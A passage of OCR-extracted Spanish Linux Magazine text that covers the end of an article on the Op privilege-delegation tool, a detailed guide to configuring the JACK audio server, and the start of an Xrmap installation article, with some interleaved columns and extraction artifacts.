script para el comando log define la variable $TERM para permitir el funcionamiento del comando less. Las nuevas definiciones de comandos hay que almacenarlas en /etc/op.d/ (de nuevo, el acceso de lectura debe estar restringido sólo al usuario root); como alternativa, pueden almacenarse todas las definiciones de comandos en un único fichero. El parámetro -l de Op muestra los comandos que se pueden ejecutar, el programa esconde estos comandos al resto de los usuarios. El script captura los errores de entrada y le indica al usuario que sólo puede ver los ficheros de registro messages y syslog: abc@amd64:~> op -l apache Start and stop Apache log View logfiles (messages U and syslog only) abc@amd64:~> op log security op: You are notU allowed to view U the ‘security’ logfile
Los scripts Op son una ventaja que este programa tiene sobre sudo: para obtener los mismos resultados, se necesitaría escribir un script, almacenarlo en el sistema de ficheros (por ejemplo, en /usr/local/bin) y luego darle permisos a los usuarios para que puedan ejecutar el script en /etc/sudoers. Si se producen cambios habría que modificar ambos scripts y el fichero de configuración de sudo.
Usuarios Externos Es fácil verificar que Op sólo permite a los usuarios especificados en users = la ejecución de los comandos privilegiados; para ello, se puede ejecutar el comando como el usuario nobody:
amd64:# su - nobody nobody@amd64:~> op -l nobody@amd64:~> op log messages log: permission denied by op
El listado de comandos Op permitidos para el usuario nobody está vacío y la herramienta presenta un mensaje de aviso cuando éste usuario intenta ver los ficheros de registro, generando una entrada en el fichero de registro /var/log/auth.log o en /var/log/messages: Feb 8 14:56:52 amd64 op[4716]: nobody log messages: Both user, group and netgroupU authentication failed
Grupos de Usuarios Al igual que sudo, Op puede agrupar múltiples usuarios y luego autorizarles o revocarles privilegios. Supongamos que se tienen tres usuarios, abc, def y ghi, y se quiere que realicen varias tareas en el sistema; pueden añadirse estos usuarios a un grupo ADMINS con una entrada como la siguiente:
Listado 2: Arranque y Parada de Apache 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19
66
log /bin/sh -c ‘ export TERM=xterm case $1 in messages) less /var/log/messages ;; syslog) less /var/log/syslog ;; *) echo “op: You are not allowed to read the logfile \’$1\’” ;; esac ‘; users=abc help=”View logfiles (messages and syslog only)” apache /bin/sh -c ‘ case $1 in start|stop) /etc/init.d/apache $1 ;; *) echo “op: apache only understands start and stop” ;; esac ‘; users=abc help=”Start and stop the Apache server”
Número 20
WWW.LINUX-MAGAZINE.ES
Listado 3: Op con Variables 01 test /usr/bin/env; 02 users=abc 03 $LANG $TERM $SHELL $PATH
ADMINS=(abc|def|ghi)
Para todos los atajos de comandos que se quieran asignar a estos usuarios, tan sólo hay que especificar users = ADMINS. Si se necesita posteriormente añadir un cuarto administrador, jkl, al grupo o definir un nuevo comando para el grupo, sólo habrá que modificar una línea del fichero de configuración.
Más Características Op puede gestionar múltiples máquinas (referenciando los nombres de las máquinas), permitiendo a los administradores configurar el comportamiento de varios ordenadores en un fichero de configuración Op central. Op posee particularmente la versátil característica de pasar las variables de entorno a los programas que ejecuta con los privilegios de root. Si no se especifica ningún otro parámetro, Op borra todas las variables de entorno antes de ejecutar un comando. La opción environment lo impide y pasa todas las variables. Como alternativa, se pueden especificar manualmente un conjunto de variables que se deseen mantener añadiendo sus nombres de la forma $Nombre (con el signo de dólar como prefijo). El Listado 3 proporciona un ejemplo del uso de estas variables. El comando test simplemente llama al programa env, que muestra un listado de todas las variables de entorno.
Conclusiones Op es una herramienta potente con funciones similares a sudo, pero con una configuración más sencilla y con un uso más intuitivo que hace que la vida de los administradores y de los usuarios sea más fácil, incluso si ambos son la ■ misma persona.
RECURSOS [1] Sitio Web de Op: http://svn.swapoff. org/op/ [2] Sitio Web de Sudo: http://www.sudo. ws/sudo/
Bienvenidos a Linux User Esta es la sección dedicada a la presentación de software interesante y útil que nos ayuda en nuestro quehacer diario con el escritorio Linux. Aquí aprenderemos a utilizar software estándar de una manera más eficiente, adquiriremos valiosos conocimientos y descubriremos nuevas y apasionantes aplicaciones.
Audio con JACK
68
El servidor de audio JACK ofrece una alternativa profesional para el sonido del escritorio Linux. Enseñamos a configurarlo y cómo sacarle todo su partido
Desktopia: Xrmap
74
Si deseas llegar a convertirte en un experto en geografía mundial, descarga Xrmap y navega por el libro de datos de la CIA.
Banshee
76
En la mitología celta, las llamadas de duelo del Banshee se oyen cuando un miembro de la familia está próximo a morir. La herramienta Banshee de Linux también hace ruido, pero afortunadamente mucho más alegre. Este otro Banshee te ayuda a organizar (y reproducir) tu colección de música.
Educación: La traducción del software libre
79
En la primera entrega de esta serie hemos hablado de la tecnología gettext; ahora es el momento de resumir sus ventajas pero también de señalar sus defectos. Qué triste sería el artículo si no pudiéramos hablar también de las soluciones, de las alternativas…
Línea de comandos: Rsync
84
Rsync permite sincronizar datos tanto en un ordenador local como en uno remoto. Incluso puede ser usado con SSH para la encriptación de datos.
Juegos: Cold War
86
El género del sigilo se estrena en nuestra plataforma linux y lo hace realmente a lo grande y desde la antigua Rusia damos la bienvenida a Cold War.
WWW.LINUX- MAGAZINE.COM
ISSUE 52 MARCH 2005
67
LINUX USER • Jack
Exploración del sistema de servidor de sonido JACK
¿CONOCES A JACK?
El servidor de audio JACK ofrece una alternativa profesional para el sonido del escritorio Linux. POR DAVE PHILLIPS
L
a mayoría de los usuarios Linux saben que un servidor ofrece servicios, ya sea en una sola máquina o en una red. El propósito de un servidor es eliminar la necesidad de acceder directamente a esos servicios a nivel de aplicación. Por ejemplo, un servidor X administra los accesos y controla los servicios de vídeo de los chipsets gráficos del ordenador, quitando un peso de encima a los desarrolladores de la aplicación a nivel de usuario, que se evitan tener que programar para aquellos servicios directamente. Un servidor de audio administra el acceso a las capacidades y servicios de los dispositivos de audio instalados. Estos dispositivos de audio incluyen tarjetas de sonido, chips de audio internos, así como cualquier otro hardware de audio (tales como hardware de telefonía, tarjetas A/V combinadas, televisión y tarjetas de radio). El escritorio gráfico de Linux depende de X para sus gráficos y servicios de vídeo. Es decir, sus
68
Número 20
aplicaciones favoritas de KDE o GNOME incluyen rutinas para el acceso de esos servicios a través de la interfaz de programación de la aplicación X. Los programadores pueden programar para el hardware a través de una API general en lugar de tener que escribir código para el hardware directamente. Por desgracia, el sonido del escritorio Linux carece de una solución estandarizada única que sirva para todo el sistema de recursos de audio. En su lugar han aparecido un gran número de soluciones, incluyendo sistemas como JACK, NAS, artds y esd. Al poner en marcha el sistema de sonido, para oír un CD, DVD o grabaciones sencillas, las exigencias de un servidor de audio son relativamente poco importantes. La administración de algunos flujos de audio en este nivel no requiere una sincronización de prueba apropiada, ni tampoco necesita un sistema de cliente altamente flexible. La mayoría de los usuarios simplemente quieren que les permita grabar audio
WWW.LINUX- MAGAZINE.ES
sin que se bloqueen otros flujos de audio. Artsd y esd son servidores de sonido diseñados para encontrar estos requerimientos para los escritorios KDE y GNOME. NAS (Network Audio System) es un sistema de red amigable alternativo de distribución de audio cliente/servidor que pretende servir como un equivalente de audio de un servidor X. Dentro de sus límites, Artsd, esd y NAS son eficaces. Sin embargo, ninguno de estos servidores proporcionan flujos de datos de audio múltiples de E/S sincronizada de prueba apropiada ni fueron diseñados para trabajar dentro de sistemas de bajo estado latente. Si nuestro audio requiere de estas altas capacacidades, será preciso adentrarse dentro del dominio de los sistemas de audio profesionales, por lo que es el momento idóneo para conocer JACK.
Introducción a JACK El desarrollador Paul Davis ha creado una de las más destacadas piezas de software de audio de código abierto, el kit de Conexión de
Jack • LINUX USER
Audio de Jack, mejor conocido como JACK. Este programa está especialmente diseñado para sistemas configurados para baja latencia y alta demanda. Los sistemas de grabación de audio profesionales no pueden proporcionar retrasos audibles ni caídas (conocidas como xruns), se les exige que soporten operaciones sincrónicas de clientes múltiples en un entorno de baja latencia. JACK viene con diversas características como: • •
• •
soporte para cualquier dispositivo de sonido compatible ALSA soporte para una gran variedad de programas de fondo de sistemas de audio (ALSA; O~/Linux, Port-Audio, CoreAudio) conectividd libre entre clientes, sin retrasos ni caídas soporte para un sistema de control de transporte maestro
Una de las tareas principales de JACK es la administración de flujos múltiples de datos de audio, que pasa por una variedad de aplicaciones con E/S sincronizada. Este programa requiere un sistema de audio, no se trata de un sustituto de un sistema de audio como ALSA o OSS/Linux. JACK no proporciona drivers para tarjetas de sonido ni tampoco acceso al hardware directamente. En vez de eso, depende de una capa de audio de bajo nivel para manipular esa comunicación, que en Linux no es más que ALSA o OSS. A JACK no le preocupa el hardware subyacente o primordial, únicamente quiere administrar los flujos que entran y salen de sus dispositivos.
Compilación e Instalación de JACK JACK está disponible como un paquete básico en los sistemas optimizados para audio como AGNULA/ Demudi y Planet CCRMA. En su página web también se encuentra disponible una tarball de las fuentes de la última edición pública. Esta página proporciona además instrucciones para compilar JACK desde fuentes CVS para los que desean
probar la versión de desarrollo más reciente. Para su compilación no se necesitan requerimientos especiales Figura 1: Control de JACK desde QjackCtl. más allá de la librería E/S del fichero de audio Además, la FAQ avisa de que puede libsndfile de Erik de Castro Lopo. que uno mismo tenga que crear el Según el FAQ de JACK se debe disdirectorio /dev/shm. poner del kernel de Linux más Tras desempaquetar las fuentes, simreciente (2.4 ó superior) con el sisplemente hay que introducirse en el tema de fichero tmpfs conectado. nuevo directorio JACK, leer el Las distribuciones más modernas README para actualizarse con las insdispondrán de este sistema de fichetrucciones e invocar ./configure —help ros por defecto, pero puedes para ver las opciones de configuración comprobarlo ejecutando cat /proc/ disponibles. JACK se compila con las filesystems. El FAQ también dice que utilidades de autotools con las que debe montarse un sistema de fichetodo buen usuario de Linux debería ros de memoria compartida en /dev/ estar familiarizado, así que para la shm, aconsejando que se añada la mayoría de los usuarios el proceso de siguiente línea a /etc/fstab: compilación es tan fácil como el de ejecución de ./configure [aquí tus shmfs /dev/shm shm ~~ opciones];make;make install. defaults 0 0 La instalación de JACK desde un RPM u otro paquete tampoco
Tarjetas de Sonido La industria de audio distingue entre dispositivos de audio profesionales y de consumo. Los dispositivos de consumo incluyen interfaces de audio PCI y USB, chipsets internos integrados para ordenadores de sobremesa y el soporte de sonido para portátiles, y hardware más avanzado como las tarjetas SB Live! de Creative y Audigy. Estos dispositivos normalmente proporcionan canales para un control de volumen principal, salida de audio PCM y CD, y entradas para micrófonos y señales de nivel de línea. El volumen maestro, CD, mic, y los canales de línea no requieren ninguna explicación. El canal PCM es un canal de reproducción de audio digital general que ofrece control de volumen para programas que reproducen WAV, AIFF, OGG, MP3 y otros tipos de ficheros de sonido.
audio CS4232 de mi portátil, soporta poco más que los servicios básicos, mientras que el SBLive de mi máquina de sobremesa proporciona una abanico de funcionalidades mucho mayor.
Dependiendo del chip de audio, estos servicios básicos se expanden para incluir canales para salida de sintetizador interno, conexiones de audio digitales, canales de sonido circundantes y controles de tono ba~/treble. Los mezcladores basados en software, como alsamixer, llaman al hardware de audio para analizar sus capacidades y configuran el mezclador para presentar los canales y botones disponibles. Es decir, el chip de
La diferencia entre ambos tipos se desdibuja si consideramos algunos dispositivos avanzados pensados para el mercado de consumo, y ciertamente es posible alcanzar resultados de elevada calidad con algunas de las más modernas tarjetas de sonido. Sin embargo, para resultados profesionales no hay duda de que se necesitará hardware de audio profesional.
WWW.LINUX- MAGAZINE.ES
Las tarjetas de audio profesionales, tales como RME Hammerfall o las tarjetas MAudio Delta, se diseñan para satisfacer diferentes necesidades, ofreciendo una conectividad de audio de la más elevada calidad tales como AES/EBU y plugs nivelados 1/4”, un gran número de canales de audio de E/S, proporciones de muestreo elevadas y capacidades de sincronización de hardware. Estas tarjetas de calidad profesional pueden o no incluir hardware de conectividad MIDI, y normalmente no incluyen funcionalidades para el consumidor, tales como sintetizador interno o conector para salida de audio del CD.
Número 20
69
LINUX USER • Jack
Opciones JACK La primera vez que uno se encuentra con JACK posiblemente se sienta confundido por algunas de sus opciones. El breve sumario que sigue servirá de ayuda para trabajar con este fabuloso servidor. En primer lugar, los parámetros de configuración: • -R, —realtime: Arranque de JACK con programación de tiempo real prioritario. Normalmente, esta opción estará habilitada, aunque hay que tener en cuenta de que funciona solamente si se trabaja como superusuario o se está ejecutando un kernel que concede privilegios de superusuario a usuarios normales. Los kernels de distros como AGNULA/ Demudi y Planet CCRMA están preparados para este estado, aunque cualquier kernel puede ser parcheado y modificado para baja latencia con capacidades de superusuario habilitadas. Jack O’Quin me indicó que JACK solamente necesita privilegios de superusuario para programación de tiempo real y bloqueo de memoria. Pregunté a los miembros de la lista de Linux Audio Users si había razones de peso para no usar la opción realtime, y comprendí que JACK es útil aún en sistemas sin capacidades de tiempo real, por eso la opción. Además, puede que desees apagar las capacidades de tiempo real en el caso de que se estén probando o buscando errores en el sistema. • -m, —no mlock: Indica a JACK que mantenga la memoria sin bloquear. Paul Davis explicó que esta opción podría ser útil cuando se ejecuta JACK en tiempo real en un sistema cuya memoria física RAM está siendo consumida por JACK y sus clientes. • -u, —unlock: Desbloquea la memoria requerida por herramientas gráficas (GTK, QT, FLTK, WINE, etc.). De nuevo, esta opción es útil para máquinas con poca memoria (física RAM), aunque especialmente útil para usuarios ejecutando plugins VST/VSTi y otras aplicaciones dependientes de WINE. En algunos casos, tales aplicaciones no se ejecutan hasta que se selecciona esta opción. • -s —softmode: Ignora los xruns presentados por un driver ALSA, haciendo menos probable que JACK desconecte puertos que no responden cuando se ejecuta sin estado de tiempo real. Debería seleccionarse esta opción para evitar que se produzcan demasiadas notificaciones de error. Esta opción también es valiosa para ejecuciones live.
70
Número 20
• -S, —shorts: Fuerza a las E/S de JACK a 16 bits. Como manifestó Lee Revell, el tratamiento interno de JACK se realiza siempre en 32 bits y, por defecto, intentará establecer la resolución de bits en sus etapas de entrada y salida a 32, 24 y 16, en este orden, informando de cada éxito o fallo con cada intento. Los usuarios con tarjetas que se saben funcionan óptimamente a 16 bits deberían usar esta opción para evitar notificaciones de error. • -H, —hwmon: Habilita el control de hardware de los puertos de toma de ALSA, proporcionando control de latencia cero de entrada de audio. Requiere soporte hardware y el driver del dispositivo. El manual de jackd dice cuando se habilita esta opción, “las demandas para controlar los puertos de toma se satisfacerán mediante la creación de una ruta de señal directa entre la entrada de interfaz de audio y los conectores de salida, sin su procesamiento por parte del ordenador anfiitrión. Esto ofrece la latencia más baja posible para la señal monitorizada”. • -M, —hwmeter: Otra opción exclusivamente para ALSA. Habilita un contador de hardware si es soportado por la tarjeta de sonido. Paul Davis observa que esta opción se usa con muy poca frecuencia y probablemente sea eliminada en futuras versiones. • -z, —dither: El “dithering” es un proceso que minimiza los efectos colaterales no deseados al reducir un bit de profundidad de un fichero de audio. El ruido de bajo nivel está mezclado en una señal para escoger al azar errores de cuantificación de audio digital, transformando distorsiones digitales desagradables y audibles en algo más cercano semejante a un ruido analógico. Según Paul Davis, el dithering es especialmente útil cuando la salida de la tarjeta de sonido es inferior a una resolución de 24 bits y se ejecuta JACK en el rate de sampleado real del hardware. • -P, —realtime-priority: Establece la prioridad de programación de tiempo real. Normalmente puede dejarse un valor por defecto de 10 para esta configuración. Si el kernel incluye preempción (por derecho de prioridad), en tiempo real, puede establecerse este valor al menos en 70 para mantener a JACK ejecutándose y libre de interrupciones de handlers. • -p, —port-max: Establece el número máximo de puertos de salida. Esta opción es especialmente valiosa para gente que usa muchas pistas en Ardour. Por defecto, 128 debería ser suficiente para la mayoría
WWW.LINUX- MAGAZINE.ES
de los usuarios. QjackCt permite seleccionar 512 puertos, aunque, hay muchos más disponibles simepre y cuando se disponga de la memoria suficiente. • -d, —driver: Selecciona el driver. De hecho, con esta opción se está seleccionando el programa de fondo del sistema de audio. Actualmente los sistemas soportados incluyen ALSA, OSS/Linux, CoreAudio, PortAudio y un sistema “de pega” (útil para pruebas). La mayoría de los usurios Linux elegirán o ALSA u OSS. • -r —rate: Establece el rate de sampleado de JACK. El valor por defecto es de 48000 Hz, aunque será preciso experimentar para determinar la proporción más adecuada para cada sistema. Los sistemas poco potentes tendrán que bajar la proporción de sample para mejorar el rendimiento, aunque generalmente se precisará una proporción de al menos 44100 Hz para un sonido de alta calidad. Obsérvese también que algunas tarjetas de sonido (por ejemplo, la SB-Live) funcionan bien solamente con un rate de sampleado determinado. • -p, —period: Especifica el número de cuadros entre las llamadas a la función proce~(). El valor predeterminado es 1024, pero para baja latencia, se ha de disminuir todo lo posible sin incurrir en xruns. Los periodos más largos dan como resultado una mayor latencia, pero menor posibilidad de xruns, por tanto se recomienda la experimentación para conseguir el nivel óptimo para el hardware. Por cierto, man jackd nos informa de que la latencia de entrada de JACK es (en segundos) el —period dividido por el — rate. • -i, —inchannels; -o, —outchannels: Estas opciones determinan el número de canales de audio de E/S. El valor por de defecto es el número máximo soportado por el hardware. • -n, —nperiods: Especifica el número de periodos en el búfer de hardware. El valor por defecto es el 2. El tamaño del periodo (-p) multiplicado por —nperiods multiplicado por cuatro será igual al tamaño del búfer de JACK en bytes. • -C, —capture; -P, —playback; -D, — duplex: Configura a JACK para sólo grabación, sólo reproducción o full duplex (reproducción y grabación simultáneos). Estas opciones pueden ser muy importantes: Algunas tarjetas simplemente no funcionarán bien en modo duplex, aunque sí lo harán bastante bien en modo simple.
Jack • LINUX USER
requiere un soporte especial. Sólo es suficiente seguir el procedimiento de instalación básico para nuestro sistema, y voilá, dispondremos de nuestro sistema JACK listo para su uso.
Arranque de JACK El servidor JACK arranca con jackd o jackstart. Su manual (man jackd) nos dice que jackd invoca el demonio del servidor de JACK y que jackstart es usado cuando se usan las capacidades en tiempo real para el soporte para la compilación de JACK. Todas las opciones son las mismas para cualquier invocación. Para la mayoría de los usuarios que trabajan con sistemas con un kernel 2.4 parcheado, jackstart será el método preferido de arranque del servidor. Los usuarios que trabajen con kernel 2.6 deberían usar jackd. Un ejemplo de un arranque sencillo: jackd -R -d alsa -d hw:0
En este ejemplo JACK ha sido arrancado con capacidad de tiempo real, conociéndose el programa de fondo ALSA y direccionando el primer dispositivo de hardware en el sistema de audio. -d hw:0 es, de hecho, innecesario; la selección de hardware siempre habilita -d hw:=0 por defecto. Obviamente, debería usarse un numero distinto para una tarjeta diferente o para un chipset en un sistema con múltiples dispositivos de sonido.
A continuación se muestra un ejemplo un poco más complejo para la tarjeta de sonido SBLive: jackstart -R -d alsa -d hw:1~~ -p 512 -r 48000 -z s Figura 3: Patchbay ayuda a administrar las conexiones.
Una vez más pueden apreciarse el tiempo real y las opciones ALSA. El selector de dispositivo se enumera como hw:1 porque SBLive es la segunda tarjeta en esta máquina en particular. He añadido opciones para el tamaño del búfer (p), para el rango de sample de JACK (-r) y para la opción de dithering de audio (-z). Puede observarse que la opción -p configura el tamaño del búfer de software. Tal y como apuntó Jack O’Quin, este es el tamaño del búfer visto para todos los clientes de JACK.
GUIs para JACK Ya hemos podido ver a JACK en acción en la línea de comandos. Sin embargo, cuando funciona en un entorno X es preferible disponer de una GUI para la configuración y las opciones de JACK y, gracias al desarrollador Rui Nuno Capela, disponemos del maravilloso QJackCtl (Figura 1). Esta más que útil aplicación proporciona una interfaz gráfica todo en uno para configurar y controlar todas las operaciones de
Figura 2: Cuadro de diálogo de configuración de QjackCtl.
JACK. Además del apropiado diálogo de configuración (Figura 2), QJC facilita un panel de conexiones de audio para clientes JACK y un juego de controles de transporte (si desea usarse QJC como el principal transporte de JACK). QJC suministra además paneles de presentación de estado y mensajería, controles de comienzo y parada del servidor, y controles de reproducción/pausa para el sistema de control de transporte de JACK. QJC incluye también un panel de conexiones MIDI para clientes del secuenciador de ALSA, permitiendo a los usuarios administrar conectividades de audio y MIDI desde una interfaz de control única. Pueden salvarse y cargarse todas las conexiones gráficas como un Perfil en la Patchbay de QJC (Figura 3). La operación de Patchbay no es lo suficientemente automática, aunque ahorra una gran cantidad de tiempo en el caso de que existan un número elevado de conexiones complejas. QJC es mi herramienta favorita para el control de JACK, si bien
Figura 4: Ptchage es un patchbay para JACK y ALSA.
WWW.LINUX- MAGAZINE.ES
Número 20
71
LINUX USER • Jack
existen al menos otras dos GUIs para la administración de su conectividad. El Patchage de Dave Robillard es un patchbay tanto para audio JACK como para la conectividad MIDI ALSA a través de su interfaz visual integrada (Figura 4). QJackConnect de Matthias Nagorni es un buen patchbay basado en QT de sólo JACK, aunque parece que su proyecto de desarrollo aún se encuentra parado.
Aplicaciones JACK
que
Usan
El soporte de JACK ha llegado a convertirse en una característica predeterminada en el nuevo software de audio de Linux. Como resultado, la lista de implementaciones ha llegado a ser demasiado extensa como para poderla reseñar aquí, aunque sus dominios de implementación incluyen sistemas de grabación de disco duro, (Ardour, ecasound, Wired), cajas de ritmo/secuenciadores (Hydrogen), entornos de síntesis de sonido por software (Csound5, SuperCollider3), secuenciadores de audio/MIDI (Rosegarden, MusE, seq24), editores de ficheros de sonido (Snd, Audacity, mh-WaveEdit, ReZound) y sintetizadores de sonido (AMS, Om, ZynAddSubFX). Otros proyectos de relevancia que utilizan JACK incluyen LinuxSampler y el proyecto de sampler Specimen y distintos esquemas para el soporte de plugins de audio VST/VSTi bajo Linux (dichos esquemas requieren también software WINE). Los sistemas de reproducción de medios de Linux tales como MPlayer, XMMS y AlsaPlayer también ofrecen soporte JACK. Nótese que estas aplicaciones varían según su nivel de soporte de JACK. Algunos sólo usan la conectividad de audio, otros las implementaciones parciales de su control de transporte, mientras que otros cuantos ya disfrutan de las ventajas completas de las características de JACK. Se aconseja consultar la documentación para cualquier aplicación que sea capaz de comunicase con JACK para determinar el alcance de su soporte. El paquete básico de JACK incluye un buen número de útiles
72
Número 20
Figura 5: Una configuración más ambiciosa de JACK.
herramientas de la línea de comandos, tales como jack_connetc/ jack_disconnect (administra conexiones a clientes), jack_metro (un metrónomo configurable), jack_lsp (lista puertos JACK, sus conexiones y propiedades) y jack_transport (administra el estado de control de transporte de JACK). JACK también ha inspirado toda una serie de utilidades y herramientas muy interesantes. JACK-Rack de Bob Ham es un contenedor muy útil para plugins LADSPA que permite compilar un rack virtual de audio procesando módulos con control MIDI de parámetros de plugin. JAMin de Steve Harris es el resultado de un esfuerzo colectivo llevado a cabo por los profesionales de audio de Linux para crear una interfaz de masterizado estéreo con calidad profesional basada en plugins que procesan señales de audio LADSPA. El Timemachine es otro regalo de Steve Harris. Esencialmente es un grabador que mantiene siempre un búfer de los últimos diez segundos de material grabado. Una vez completamente armado, Timemachine escribe el búfer al disco y continúa grabando en tiempo real. JAAA (JACK y ALSA Audio Analyser) de Fons Adriaensen es un
WWW.LINUX- MAGAZINE.ES
generador de señal y un analizar de espectro profesional diseñado para mediciones de audio de alta precisión. Y para mostrar que no existe necesidad de una GUI, jack_convolve de Florian Schmidt es un motor de circunvalación que se ejecuta desde la línea de comandos basado en JACK, muy manejable para la creación de efectos de reverberación de alta calidad y otros interesantes sonidos. Las URLs para éstas y otras muchas aplicaciones JACK se encuentran listadas en el sitio de Linux Sound & MIDI Sotware [9].
JACK en Acción Las figuras 5 y 6 muestran dos usos típicos de JACK en Dave Studio. La Figura 6 ilustra el uso simple en una red MIDI audio-plus combinando el secuenciador MIDI seq24, el sintetizador basado en la fuente de sonido QSynth y JACK-Rack, todos funcionando en mi PII 306 Omnibook y su humilde chipset Crystal Sound CS4232. La Figura 5 muestra un juego de routeado y conexiones más ambicioso con el administrador E/S de JACK. Queda algo más que decir acerca del uso de JACK en estos escenarios. Una vez se ha configurado, su
Jack • LINUX USER
Figura 6: JACK con una red audio-plus-MIDI.
funcionamiento es completamente transparente. Todo cuanto he de hacer es efectuar mis conexiones y hacer mi música.
Programación de JACK La programación con el API de JACK es con mucho lo más complicado de este artículo. Los lectores interesados en esto pueden encontrar material con excelentes instrucciones en el código fuente de JACK (ver simple_client.c en el directorio example_clients) y en distintos sitios Web. El tutorial de James Shuttleworth en http://www.dis-dot-dat. net/index.cgi?item=/jacktuts/ starting/ es una introducción muy bien escrita para añadir JACK a una simple aplicación de audio. Lewis Berman ha contribuído a través del escrito de su grabación de audio en http://userpages.umbc.edu/ ~berman3/ y, evidentemente, la API de JACK puede ser leída y estudiada en el bien comentado fichero de cabecera jack.h. Si se compila JACK personalmente y se tiene instalado el software doxygen, puede generarse la documentación del desarrollador de JACK. Esta documentación también se encuentra disponible en la página web de JACK, pero ésta está un poco desfasada, ya que se actualizó por
última vez el 15 de Septiembre de 2005.
El Futuro de JACK En el año 2004 JACK ganó el bien merecido premio de bronce en la importante Merit Awards concedido por la Open Source Initiative. En aquel momento, el desarrollo de JACK se encontraba en la versión 0.9x. En el momento de escribir este artículo JACK se encuentra en su versión 0.101.0, a punto de llegar la versión 1.0, augurándosele un buen futuro. Stephane Letz ha portado con éxito JACK a OSX. El soporte para OSX se ha convertido en algo común en el nuevo software de audio de Linux. Y, por cierto, ya ha aparecido una implementación para Java. Los músicos MIDI están familiarizados con las implementaciones de código de tiempo que todavía no soporta JACK, por lo que sería muy bien acogida una coordinación de las capacidades de sincronización. Han dado comienzo algunos trabajos en esta dirección, así que es probable que se produzca una fusión de MIDI y JACK en el futuro. Los atractivos de JACK parecen ser irresistibles, pero puede que no sea la mejor solución para los servicios comunes de audio de escritorio. A diferencia de ALSA, JACK no se
WWW.LINUX- MAGAZINE.ES
plantea la inclusión en las fuentes del kernel de Linux, de modo que su presencia en cualquier distribución Linux es resultado de una decisión tomada por el productor de la distro. Además, JACK no es tan transparente para el usuario como los servidores artsd y esd, requiriendo más configuración para obtener un mejor rendimiento. No obstante, JACK es un sistema muy flexible pudiendo llegar a convertirse en el servidor de audio de facto para el escritorio Linux. Para los que se inclinan hacia un uso profesional de audio, JACK es un regalo celestial. Su estabilidad de funcionamiento ya ha sido probada y verificada a través de la elevada demanda de aplicaciones de audio real a nivel mundial y su aplicabilidad puede verse en el aumento de la cantidad de programas basados en JACK, que cada vez son más poderosos. El API de JACK ha allanado el camino para una nueva ola de aplicaciones de audio de Linux de alta calidad. Tanto si se necesita que funcione un sistema de audio manera cien por cien estable para Ardour, como si lo que se desea es algo divertido para enrutar la salida de XMMS, ■ hay que conocer JACK.
RECURSOS [1] Sitio web de JACK: http://jackit. sourceforge.net [2] Tabla de compatibilidad de tarjetas de sonido con ALSA: http://www. alsa-project.org/alsa-doc/ [3] Patchage: http://www.scs.carleton.ca/ ~drobilla/patchage/ [4] QJackConnect: http://www.suse.de/ ~mana/jack.html [5] QJackCtl: http://qjackctl.sourceforge. net [6] Entrevista con Paul Davis en Builder.com: http://builder.com.com/ 5100-6375-5136755.html?tag=tt [7] Mini-HOWTO de baja latencia: http:// www.djcj.org/LAU/guide/ Low_latency-Mini-HOWTO.php3 [8] Notas de Florian Schmidt para compilar un kernel 2.6 de baja latencia: http://tapas.affenbande.org/ ?page_id=3 [9] La página de JACK en linuxsound.org: http://linux-sound.org/jack. html
Número 20
73
LINUX USER • Desktopia: Xrmap
La vuelta al mundo con Xrmap.
ATLAS DIGITAL Si deseas llegar a convertirte en un experto en geografía mundial ayúdate con la CIA. POR ANDREAS KNEIB
X
rmap es una herramienta que suministra acceso a una interesante colección de datos: el libro Factbook de la CIA [4], el cual contiene un importante conjunto de detalles de la extensa base de datos de la CIA. Según el proyecto de la página de inicio, los mapas vectoriales muestran un total de 20.000 ciudades junto con aeropuertos, montañas y observatorios. Estos datos se encuentran todos disponibles en un fichero empaquetado. Xrmap es la puerta de entrada a este conjunto de datos, permitiendo a los usuarios un acceso rápido a través de una GUI que funciona en cualquier sistema X11.
Instalación de Xrmap Los archivos RPM y tar de Xrmap se encuentran disponibles en la página de inicio del proyecto en [1]. Si se prefiere instalarlo a partir del código fuente, se descarga el tarball, se desempaqueta el archivo y se cambia al directorio: tar xvjf Xrmap-2.33.tar.bz2 cd Xrmap-2.33/
El paso siguiente consiste en editar el fichero Imakefile. En este fichero las variables permiten especificar el directorio en el que se
74
Número 20
instalarán los componentes del programa Xrmap: XCOMM Install to /usr or /usr/local DESTDIR=/usr
Si se mantienen los valores predeterminados, las partes del software, tales como las páginas de los manuales o los ficheros binarios, se situarán bajo /usr en el árbol de directorios. Bajo la línea de comentario XCOMM Default External utilities se encontrarán las herramientas externas que Xrmap usa para visionar las páginas HTML y los ficheros Postscripts o para reproducir ficheros MIDI: PS_VIEWER=”gv -noantialias” IM_VIEWER=”display U -background gray84” HTML_VIEWER=”dillo” PRINT_CMD=”lpr -Plp” EDITOR=”emx -fn 9x15” MIDIPLAYER=”timidity -ig”
si se prefiere usar un visor diferente de la herramienta de presentación por defecto será preciso modificar la variable IM_VIEWER para que la nueva elección quede reflejada. Esto también se aplica a otras variables de
WWW.LINUX- MAGAZINE.ES
configuración en esta sección. En nuestro laboratorio observamos que arrancando algunos editores de texto desde Xrmap se producían algunos problemas. Por ejemplo, el editor Gvim aparecía con páginas vacías. Como las herramientas por defecto son todas programas excelentes, será preferible mantenerlas antes que modificar Imakefile. Siempre pueden establecerse las opciones en la línea de comandos para cambiar las herramientas externas posteriormente. La distribución de Suse actual incluye Ghostview (gv), Timidity y el paquete Imagemagic, el cual incluye Display. El único programa del que carecen la mayoría de las distribuciones es Dillo, el rápido navegador web que puede ser descargado desde la web [2]. El editor Emx, por cierto, es un componente de Xrmap. Después de modificar Imakefile para adaptarlo a tus gustos y de salvar el fichero, se introduce el comando xmkmf y, finalmente, para compilar el programa, make. Una vez que make haya completado la compilación, se mostrará un mensaje indicando los ficheros internos que necesita el programa. Es una buena idea copiar el texto desde la ventana de la shell a un fichero de texto; puede que sea preciso hacer referencia a esta salida después. Pero concentrémonos en la instalación de Xrmap. En primer lugar se introduce el comando su para convertirse en superusuario. A continuación se ejecuta el comando make -n install | less para comprobar si la configuración guarda los componentes, tales como el manual, en los directorios especificados. Si la prueba es de nuestra entera satisfacción, hay que convertirse en superusuario y emitir al comando make install. Ha llegado la hora de prestar atención a la salida de los ficheros de datos en el mensaje. Los ficheros
Desktopia: Xrmap • LINUX USER
